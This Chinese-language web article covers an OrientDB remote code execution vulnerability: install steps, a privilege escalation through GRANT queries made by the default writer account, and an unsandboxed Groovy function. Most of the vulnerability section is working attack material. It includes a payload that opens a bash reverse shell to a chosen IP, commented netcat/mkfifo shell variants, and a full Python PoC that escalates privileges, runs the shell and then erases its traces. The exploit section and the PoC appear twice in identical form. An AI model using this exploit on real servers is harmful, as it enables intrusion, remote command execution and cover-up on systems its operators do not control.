華文網

Oreint DB 遠端代碼執行漏洞

0×01 關於orient db資料庫

OrientDB是一個開源NoSQL資料庫管理系統。 NoSQL資料庫提供了一種用於存儲和檢索引用除表式資料之外的資料(例如文檔資料或圖形資料)的NO關係或非關係資料的機制。 NoSQL資料庫越來越多地用於大資料和即時Web應用程式。

NoSQL系統有時也被稱為“Not Only SQL”,以強調它們可能支援類似SQL的查詢語言。

OrientDB也屬於NoSQL系列。 OrientDB是第二代分散式資料庫,具有靈活性的文檔在一個產品與Apache 2許可證的開放原始程式碼。 在OrientDB之前市場上有幾個NoSQL資料庫,其中一個是MongoDB。

0×01 orient db 資料庫的基礎知識

步驟1 – 下載OrientDB二進位設置檔

下載地址:http://orientdb.com/download社區版和企業版都可以在任何實現Java虛擬機器(JVM)的作業系統上運行。 OrientDB需要1.7或更高版本的Java。

步驟2 – 解壓並安裝OrientDB

以下是為不同作業系統提取和安裝OrientDB的過程。在Linux中將orientdb-community-2.1.9.tar.gz檔解壓,可以使用以下命令提取tarred檔。

$ tar –zxvf orientdb-community-2.1.9.tar.gz

使用以下命令將所有OrientDB庫檔從orientdbcommunity-2.1.9移動到/opt/orientdb/目錄。 這裡要用sudo

$ sudo mv orientdb-community-2.1.9 /opt/orientdb

使用以下命令註冊orientdb命令和Orient伺服器。

$ export ORIENTDB_HoME = /opt/orientdb$ export PATH = $PATH:$ORIENTDB_HOME/bin

在Windows中將orientdb-community-2.1.9.zip文件解壓,將提取出的資料夾移動到C:目錄。

使用以下給定值創建兩個環境變數ORIENTDB_HOME和PATH變數。

ORIENT_HOME = C:orientdb-community-2.1.9 PATH = C:orientdb-community-2.1.9in

步驟3 – 配置OrientDB伺服器作為服務

這裡就說下linux的~OrientDB提供了一個名為orientdb.sh的指令檔,以作為守護程式運行資料庫。在OrientDB安裝目錄的$ORIENTDB_HOME/bin/orientdb.sh的bin目錄中可以找到它。在運行指令檔之前,編輯orientdb.sh檔以定義兩個變數。一個是ORIENTDB_DIR,它定義了安裝目錄/opt/orientdb的路徑,第二個是ORIENTDB_USER,它定義了要運行OrientDB的用戶名,如下所示。

ORIENTDB_DIR = "/opt/orientdb" ORIENTDB_USER = ""

使用以下命令將orientdb.sh檔複製到/etc/init.d/目錄中以初始化和運行腳本。

$ sudo cp $ORIENTDB_HOME/bin/orientdb.sh /etc/init.d/orientdb

使用以下命令將console.sh檔從OrientDB安裝目錄$ ORIENTDB_HOME / bin複製到系統bin目錄(即/ usr / bin)以訪問Orient DB的控制台。

$ sudo cp $ ORIENTDB_HOME/bin/console.sh /usr/bin/orientdb

使用下面的命令來啟動ORIENTDB資料庫伺服器作為服務。在這裡,你必須提供你在orientdb.sh檔提及啟動伺服器的相應使用者的密碼。$ service orientdb start使用以下命令知道哪個PID的OrientDB伺服器守護程式正在運行。$ service orientdb status使用以下命令停止OrientDB伺服器守護程式。$ service orientdb stop

0×02 漏洞分析

1、OrientDB使用RBAC模型進行認證方案。預設情況下,OrientDB有3個角色:admin, writer and reader。它們的功能與與用戶名稱所扮演的角色相同。

對於在伺服器上創建的每個資料庫,預設情況下會分配3個用戶。

2、用戶的許可權分配如下:

admin : 訪問資料庫上的所有功能,沒有任何限制reader: 唯讀用戶。讀者可以查詢資料庫中的任何記錄,但不能修改或刪除它,也不能訪問內部資訊,例如使用者和角色本身的資訊。writer: 與reader相同,但它也可以創建,更新和刪除記錄。

3、漏洞產生原理

管理員通過ORole結構處理使用者以及他們角色,OrientDB需要oRole讀取許可權,

以允許使用者顯示使用者許可權,並使與oRole許可權相關聯的其他查詢。

從版本2.2.x及以上版本,只要oRole被查詢,fetchplan和order by語句,則不需要此許可權要求,並將資訊返回給非特權使用者。

由於Orient db啟用了這些功能 where、fetchplan、order by,導致了OrientDB具有一個可以執行常規的功能,並且這個groovy封裝器沒有沙箱進行保護導致了系統功能被訪問,導致我們可以運任何命令。

0×03 漏洞複現過程

1、首先先確定版本號,版本號的確定可由返回頭確定

2、接著我們訪問 http://Taarget:2480/listDatabases 獲取資料庫名稱,他會返回為一個json列表

3、用writer的身份嘗試Http基礎認證,看其是否對資料庫可寫。如果可寫,那麼則漏洞存在。

檢測三部分的許可權是否能得到提升:1)database.class.ouser

檢測是否可以作為特權帳戶操作資料庫

2)database.function

是否啟用功能操作

3)database.function

是否有系統的存取權限

驗證方法如下:

payload:http://Target:2480/command/database_name/sql/-/20?format=rid,type,version,class,graph

以POST的方式請求如下資料:

GRANT execute ON database.class.ouser TO writer

GRANT execute ON database.function TO writer

GRANT execute ON database.systemclusters TO writer

如果成功執行則可以利用。

下麵給出exp:

{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"' + func_name + '","language":"groovy","code":"def command = 'bash -i >& /dev/tcp/' + reverse_ip + '/6666 0>&1';File file = new File("hello.sh");file.delete();file << ("#!/bin/bash");file << (command);def proc = "bash hello.sh".execute();","parameters":null}

在目標用bash反彈,本地你可以用nc監聽,運行如下命令:netcat -lp 6666

最後給出PoC:

#! /usr/bin/env python#-- coding: utf-8 --# OrientDB <= 2.22 RCE PoCimport sysimport requestsimport jsonimport stringimport randomtarget = sys.argv[1]try: port = sys.argv[2] if sys.argv[2] else 2480except: port = 2480url = "http://%s:%s/command/GratefulDeadConcerts/sql/-/20?format=rid,type,version,class,graph"%(target,port)def random_function_name(size=5, chars=string.asciilowercase + string.digits): return ''.join(random.choice(chars) for in range(size))def enum_databases(target,port="2480"): base_url = "http://%s:%s/listDatabases"%(target,port) req = requests.get(base_url) if req.status_code == 200: #print "[+] Database Enumeration successful" database = req.json()['databases'] return database return Falsedef check_version(target,port="2480"): base_url = "http://%s:%s/listDatabases"%(target,port) req = requests.get(base_url) if req.status_code == 200: headers = req.headers['server'] #print headers if "2.2" in headers or "3." in headers: return True return Falsedef run_queries(permission,db,content=""): databases = enum_databases(target) url = "http://%s:%s/command/%s/sql/-/20?format=rid,type,version,class,graph"%(target,port,databases[0]) priv_enable = ["create","read","update","execute","delete"] #query = "GRANT create ON database.class.ouser TO writer" for priv in priv_enable: if permission == "GRANT": query = "GRANT %s ON %s TO writer"%(priv,db) else: query = "REVOKE %s ON %s FROM writer"%(priv,db) req = requests.post(url,data=query,auth=('writer','writer')) if req.status_code == 200: pass else: if priv == "execute": return True return False print "[+] %s"%(content) return Truedef priv_escalation(target,port="2480"): print "[+] Checking OrientDB Database version is greater than 2.2" if check_version(target,port): priv1 = run_queries("GRANT","database.class.ouser","Privilege Escalation done checking enabling operations on database.function") priv2 = run_queries("GRANT","database.function","Enabled functional operations on database.function") priv3 = run_queries("GRANT","database.systemclusters","Enabling access to system clusters") if priv1 and priv2 and priv3: return True return Falsedef exploit(target,port="2480"): #query = '"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"most","language":"groovy","code":"def command = 'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1';File file = new File("hello.sh");file.delete();file << ("#!/bin/bash");file << (command);def proc = "bash hello.sh".execute(); ","parameters":null' #query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"ost","language":"groovy","code":"def command = 'whoami';File file = new File("hello.sh");file.delete();file << ("#!/bin/bash");file << (command);def proc = "bash hello.sh".execute(); ","parameters":None} func_name = random_function_name() print func_name databases = enum_databases(target) reverse_ip = raw_input('Enter the ip to connect back: ') query = '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def command = 'bash -i >& /dev/tcp/'+reverse_ip+'/8081 0>&1';File file = new File("hello.sh");file.delete();file << ("#!/bin/bash ");file << (command);def proc = "bash hello.sh".execute();","parameters":null}' #query = '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def command = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 8081 >/tmp/f' File file = new File("hello.sh") file.delete() file << ("#!/bin/bash") file << (command) def proc = "bash hello.sh".execute() ","parameters":null}' #query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"lllasd","language":"groovy","code":"def command = 'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1';File file = new File("hello.sh");file.delete();file << ("#!/bin/bash");file << (command);def proc = "bash hello.sh".execute();","parameters":None} req = requests.post("http://%s:%s/document/%s/-1:-1"%(target,port,databases[0]),data=query,auth=('writer','writer')) if req.status_code == 201: #print req.status_code #print req.json() func_id = req.json()['@rid'].strip("#") #print func_id print "[+] Exploitation successful, get ready for your shell.Executing %s"%(func_name) req = requests.post("http://%s:%s/function/%s/%s"%(target,port,databases[0],func_name),auth=('writer','writer')) #print req.status_code #print req.text if req.status_code == 200: print "[+] Open netcat at port 8081.." else: print "[+] Exploitation failed at last step, try running the script again." print req.status_code print req.text #print "[+] Deleting traces.." req = requests.delete("http://%s:%s/document/%s/%s"%(target,port,databases[0],func_id),auth=('writer','writer')) priv1 = run_queries("REVOKE","database.class.ouser","Cleaning Up..database.class.ouser") priv2 = run_queries("REVOKE","database.function","Cleaning Up..database.function") priv3 = run_queries("REVOKE","database.systemclusters","Cleaning Up..database.systemclusters") #print req.status_code #print req.textdef main(): target = sys.argv[1] #port = sys.argv[1] if sys.argv[1] else 2480 try: port = sys.argv[2] if sys.argv[2] else 2480 #print port except: port = 2480 if priv_escalation(target,port): exploit(target,port) else: print "[+] Target not vulnerable"main()

2、接著我們訪問 http://Taarget:2480/listDatabases 獲取資料庫名稱,他會返回為一個json列表

3、用writer的身份嘗試Http基礎認證,看其是否對資料庫可寫。如果可寫,那麼則漏洞存在。

檢測三部分的許可權是否能得到提升:1)database.class.ouser

檢測是否可以作為特權帳戶操作資料庫

2)database.function

是否啟用功能操作

3)database.function

是否有系統的存取權限

驗證方法如下:

payload:http://Target:2480/command/database_name/sql/-/20?format=rid,type,version,class,graph

以POST的方式請求如下資料:

GRANT execute ON database.class.ouser TO writer

GRANT execute ON database.function TO writer

GRANT execute ON database.systemclusters TO writer

如果成功執行則可以利用。

下麵給出exp:

{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"' + func_name + '","language":"groovy","code":"def command = 'bash -i >& /dev/tcp/' + reverse_ip + '/6666 0>&1';File file = new File("hello.sh");file.delete();file << ("#!/bin/bash");file << (command);def proc = "bash hello.sh".execute();","parameters":null}

在目標用bash反彈,本地你可以用nc監聽,運行如下命令:netcat -lp 6666

最後給出PoC:

#! /usr/bin/env python#-- coding: utf-8 --# OrientDB <= 2.22 RCE PoCimport sysimport requestsimport jsonimport stringimport randomtarget = sys.argv[1]try: port = sys.argv[2] if sys.argv[2] else 2480except: port = 2480url = "http://%s:%s/command/GratefulDeadConcerts/sql/-/20?format=rid,type,version,class,graph"%(target,port)def random_function_name(size=5, chars=string.asciilowercase + string.digits): return ''.join(random.choice(chars) for in range(size))def enum_databases(target,port="2480"): base_url = "http://%s:%s/listDatabases"%(target,port) req = requests.get(base_url) if req.status_code == 200: #print "[+] Database Enumeration successful" database = req.json()['databases'] return database return Falsedef check_version(target,port="2480"): base_url = "http://%s:%s/listDatabases"%(target,port) req = requests.get(base_url) if req.status_code == 200: headers = req.headers['server'] #print headers if "2.2" in headers or "3." in headers: return True return Falsedef run_queries(permission,db,content=""): databases = enum_databases(target) url = "http://%s:%s/command/%s/sql/-/20?format=rid,type,version,class,graph"%(target,port,databases[0]) priv_enable = ["create","read","update","execute","delete"] #query = "GRANT create ON database.class.ouser TO writer" for priv in priv_enable: if permission == "GRANT": query = "GRANT %s ON %s TO writer"%(priv,db) else: query = "REVOKE %s ON %s FROM writer"%(priv,db) req = requests.post(url,data=query,auth=('writer','writer')) if req.status_code == 200: pass else: if priv == "execute": return True return False print "[+] %s"%(content) return Truedef priv_escalation(target,port="2480"): print "[+] Checking OrientDB Database version is greater than 2.2" if check_version(target,port): priv1 = run_queries("GRANT","database.class.ouser","Privilege Escalation done checking enabling operations on database.function") priv2 = run_queries("GRANT","database.function","Enabled functional operations on database.function") priv3 = run_queries("GRANT","database.systemclusters","Enabling access to system clusters") if priv1 and priv2 and priv3: return True return Falsedef exploit(target,port="2480"): #query = '"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"most","language":"groovy","code":"def command = 'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1';File file = new File("hello.sh");file.delete();file << ("#!/bin/bash");file << (command);def proc = "bash hello.sh".execute(); ","parameters":null' #query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"ost","language":"groovy","code":"def command = 'whoami';File file = new File("hello.sh");file.delete();file << ("#!/bin/bash");file << (command);def proc = "bash hello.sh".execute(); ","parameters":None} func_name = random_function_name() print func_name databases = enum_databases(target) reverse_ip = raw_input('Enter the ip to connect back: ') query = '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def command = 'bash -i >& /dev/tcp/'+reverse_ip+'/8081 0>&1';File file = new File("hello.sh");file.delete();file << ("#!/bin/bash ");file << (command);def proc = "bash hello.sh".execute();","parameters":null}' #query = '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def command = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 8081 >/tmp/f' File file = new File("hello.sh") file.delete() file << ("#!/bin/bash") file << (command) def proc = "bash hello.sh".execute() ","parameters":null}' #query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"lllasd","language":"groovy","code":"def command = 'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1';File file = new File("hello.sh");file.delete();file << ("#!/bin/bash");file << (command);def proc = "bash hello.sh".execute();","parameters":None} req = requests.post("http://%s:%s/document/%s/-1:-1"%(target,port,databases[0]),data=query,auth=('writer','writer')) if req.status_code == 201: #print req.status_code #print req.json() func_id = req.json()['@rid'].strip("#") #print func_id print "[+] Exploitation successful, get ready for your shell.Executing %s"%(func_name) req = requests.post("http://%s:%s/function/%s/%s"%(target,port,databases[0],func_name),auth=('writer','writer')) #print req.status_code #print req.text if req.status_code == 200: print "[+] Open netcat at port 8081.." else: print "[+] Exploitation failed at last step, try running the script again." print req.status_code print req.text #print "[+] Deleting traces.." req = requests.delete("http://%s:%s/document/%s/%s"%(target,port,databases[0],func_id),auth=('writer','writer')) priv1 = run_queries("REVOKE","database.class.ouser","Cleaning Up..database.class.ouser") priv2 = run_queries("REVOKE","database.function","Cleaning Up..database.function") priv3 = run_queries("REVOKE","database.systemclusters","Cleaning Up..database.systemclusters") #print req.status_code #print req.textdef main(): target = sys.argv[1] #port = sys.argv[1] if sys.argv[1] else 2480 try: port = sys.argv[2] if sys.argv[2] else 2480 #print port except: port = 2480 if priv_escalation(target,port): exploit(target,port) else: print "[+] Target not vulnerable"main()